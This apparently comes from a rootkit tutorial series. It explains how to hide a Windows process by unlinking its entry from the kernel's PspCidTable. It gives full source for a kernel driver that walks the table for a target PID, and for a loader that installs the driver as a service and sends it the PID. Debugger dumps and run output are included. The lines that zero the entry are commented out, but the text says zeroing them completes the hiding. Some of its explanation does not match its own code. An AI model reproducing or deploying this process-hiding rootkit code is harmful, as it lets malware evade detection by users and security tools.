PSP CID table II

 

Lets now remove our process from the PspCidTable. Before this lets start at the basics once again. In our earlier code we assumed that some structure starts at location 0xffdff000. Where does this magic number come from.  The fs register has a value of 0x30 in both kernel and user mode. In kernel mode it points  to a DATA32 region which has starts at memory location ffdff000. This is how this magic value is obtained. We then add 34 to this pcr value and find a pointer 8054c038. we add 0x80 to this pointer to find a value of  8054c0b8. At this point we see a value of 805605e0. Here is where the pspcidtable is stored. Actual proof.

 

lkd> dd 0xffdff034

ffdff034  8054c038 8003f400

 

lkd> dd 8054c038+0x80

8054c0b8  805605e0 00000000

 

lkd> dd 805605e0

805605e0  e10007d0

 

We pass the pid  of  any running program on the command line and the PsLookupProcessByProcessId gives us an EPROCESS structure. We then call the function from FuTo which is called EraseObjectFromPspCidTable. We have written a simple program f.c which we hide each time.

 

f.c

#include <windows.h>

unsigned char c[100];

int _stdcall WinMain(HINSTANCE i , HINSTANCE j, char *k, int l)

{

sprintf(c,"hi %d",GetCurrentProcessId());

MessageBox(0,c, c, 0);

}

 

y –i 1312

y –u

 

r.c

#include <ntddk.h>

#include <stdio.h>

const WCHAR deviceLinkBuffer[]  = L"\\DosDevices\\sonal8";

const WCHAR deviceNameBuffer[]  = L"\\Device\\sonal8";

UNICODE_STRING deviceNameUnicodeString,deviceLinkUnicodeString;       

PDEVICE_OBJECT g_RootkitDevice;

typedef struct _TABLE_ENTRY

{

long object;

ACCESS_MASK security;

} TABLE_ENTRY, *PTABLE_ENTRY, **PPTABLE_ENTRY, ***PPPTABLE_ENTRY;

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

IO_STACK_LOCATION *irpStack;

long *inputBuffer;

long pid,ioControlCode;

long pspcid;

long i,i1,i2,i3;

void *eproc;

PTABLE_ENTRY orig_tableEntry, p_tableEntry, *pp_tableEntry, **ppp_tableEntry;

int a, b, c;

int i_numHandles, i_hperPage, i_numTables;

int i_handle;

irpStack = IoGetCurrentIrpStackLocation (Irp);

inputBuffer = (long *)Irp-> AssociatedIrp.SystemBuffer;

pid = *inputBuffer;

ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

i = 0x0ffdff034;

i1 = *(long *)i;

i2 = i1 + 0x80;

i3 = *(long *)i2;

DbgPrint("i=%x i1=%x i2=%x i3=%x",i,i1,i2,i3);

pspcid = *(long *)i3;

PsLookupProcessByProcessId(pid,&eproc);

DbgPrint("pspcid=%x eproc=%x pid=%d",pspcid,eproc,pid);

i_numHandles = *(int*)(pspcid + 0x3c);

orig_tableEntry = (PTABLE_ENTRY)*(long *)(pspcid);

i_numTables = ((long)orig_tableEntry & 3);

i_hperPage = PAGE_SIZE/sizeof(TABLE_ENTRY);  

DbgPrint("i_numHandles=%x orig_tableEntry=%x i_numTables=%d i_hperPage=%d",i_numHandles,orig_tableEntry,i_numTables,i_hperPage);

pp_tableEntry = (PPTABLE_ENTRY)((long)orig_tableEntry & 0xfffffff8);

DbgPrint("Starting table entry=%x",pp_tableEntry);

for (a = 0; a < i_hperPage; a++)

{

DbgPrint("Table of pointers is at %x",pp_tableEntry[a]);

if (pp_tableEntry[a] == NULL)

break;

for (b = 0; b < i_hperPage; b++)

{

//DbgPrint("Comparing %x to %x org=%x\n", ((pp_tableEntry[a][b].object | 0x80000000) & 0xfffffff8), eproc,pp_tableEntry[a][b].object);

if (((pp_tableEntry[a][b].object ) & 0xfffffff8) == ((long)eproc))

{

DbgPrint("a=%d b=%d",a,b);

DbgPrint("Handle = %x Object %x Security %x\n", ((a*512)+b)*4,pp_tableEntry[a][b].object & 0xfffffff8, pp_tableEntry[a][b].security);

//pp_tableEntry[a][b].object = 0;

//pp_tableEntry[a][b].security = ((PHANDLE_TABLE)pspcid)->FirstFree;

//((PHANDLE_TABLE)pspcid)->FirstFree = (ULONG)(pid);

}

}

}

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;  

}

NTSTATUS abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

//DbgPrint("abcCreate");

return STATUS_SUCCESS;  

}

VOID OnUnload(PDRIVER_OBJECT DriverObject )

{         

UNICODE_STRING deviceLinkUnicodeString;

RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );

IoDeleteSymbolicLink( &deviceLinkUnicodeString );

IoDeleteDevice(DriverObject->DeviceObject);

DbgPrint("Unload5");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{

d->DriverUnload  = OnUnload;

DbgPrint("DriverEntry");

RtlInitUnicodeString (&deviceNameUnicodeString,deviceNameBuffer );

RtlInitUnicodeString (&deviceLinkUnicodeString,deviceLinkBuffer );

IoCreateDevice (d,0, &deviceNameUnicodeString,0,0,TRUE,&g_RootkitDevice );

IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString );

d->MajorFunction[IRP_MJ_CREATE]=abcCreate;

d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;

return STATUS_SUCCESS;

}

 

y.c

#include <windows.h>

SC_HANDLE m,s,g;

int pid,b;

void main(int argc, char **argv)

{

if ( argv[1][1] == 'i')

{

pid = atoi(argv[2]);

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"sonal5","sonal5",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\sonal5\\sonal5.sys",0,0,0,0,0);

s=OpenService(m,"sonal5",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

g=CreateFile("\\\\.\\sonal8",GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);

DeviceIoControl(g,1,(void *)&pid,4,0,0,&b,0);

}

else

{

SERVICE_STATUS  status;

m= OpenSCManager (0,0,SC_MANAGER_ALL_ACCESS );

s=OpenService(m,"sonal5",SERVICE_ALL_ACCESS);

ControlService(s, SERVICE_CONTROL_STOP, &status);

}

}

 

DriverEntry

i=ffdff034 i1=8054c038 i2=8054c0b8 i3=805605e0

pspcid=e10007d0 eproc=8935f9d0 pid=3360

i_numHandles=212 orig_tableEntry=e237a001 i_numTables=1 i_hperPage=512

Starting table entry=e237a000

Table of pointers is at e1003000

Table of pointers is at e237b000

a=1 b=328

Handle = d20 Object 8935f9d0 Security 0

Table of pointers is at 0

Unload5

 

To find the number of handles in the pspcidtable we need to access a location 0x3c from the start of the table. In our case we see the following

 

lkd> dd e10007d0+0x3c

e100080c  00000203

 

Thus we have 203 handles in our table. The entry at the start of the pspcidtable gives us two things, one the page that contains the pages that contain the handles and two the number of tables. The first two bits give us the depth of the tables.

 

lkd> dd e10007d0

e10007d0  e237a001

 

In our case the tables are at page e237a000  and the depth of the handle structures is 1. The table contain a handle and a security mask which gives it a size of 8 bytes. Thus in one page we can fit 4096/8 or 512 handles only. Thus in our case we need two pages to store the handles.

 

We enter a for loop with values of a starting from 0 to 512. In this case the for loop should go on for 1024 times as this first table is made up of pointers to page tables that contain the handles. These are simple 4 byte pointers and in our case see two page table only that contain such pointers. These start at

 

lkd> dd e237a000

e237a000  e1003000 e237b000 00000000 00000000

 

The minute we come to the third entry as it is null we quit out. The second for loop is what goes through each entry in the pspcidtable.

 

e1003000  00000000 fffffffe 89bd0491 00000000

e1003010  89bd0219 00000000 89bcfd21 00000000

e1003020  89bcfaa9 00000000 89bcf831 00000000

 

The security bytes are always zeroes and these number are larger than 2 gb. We have too knock off the first 12 bits. All that we need to do is set the object entry which is an eprocess structure to 0 which removes the eprocess structure from the pspcidtable.

 

Thus the pspcidtable simply contains a series of pointer to threads and eprocesses. We scan through them and the minute we find one we simply zero it out.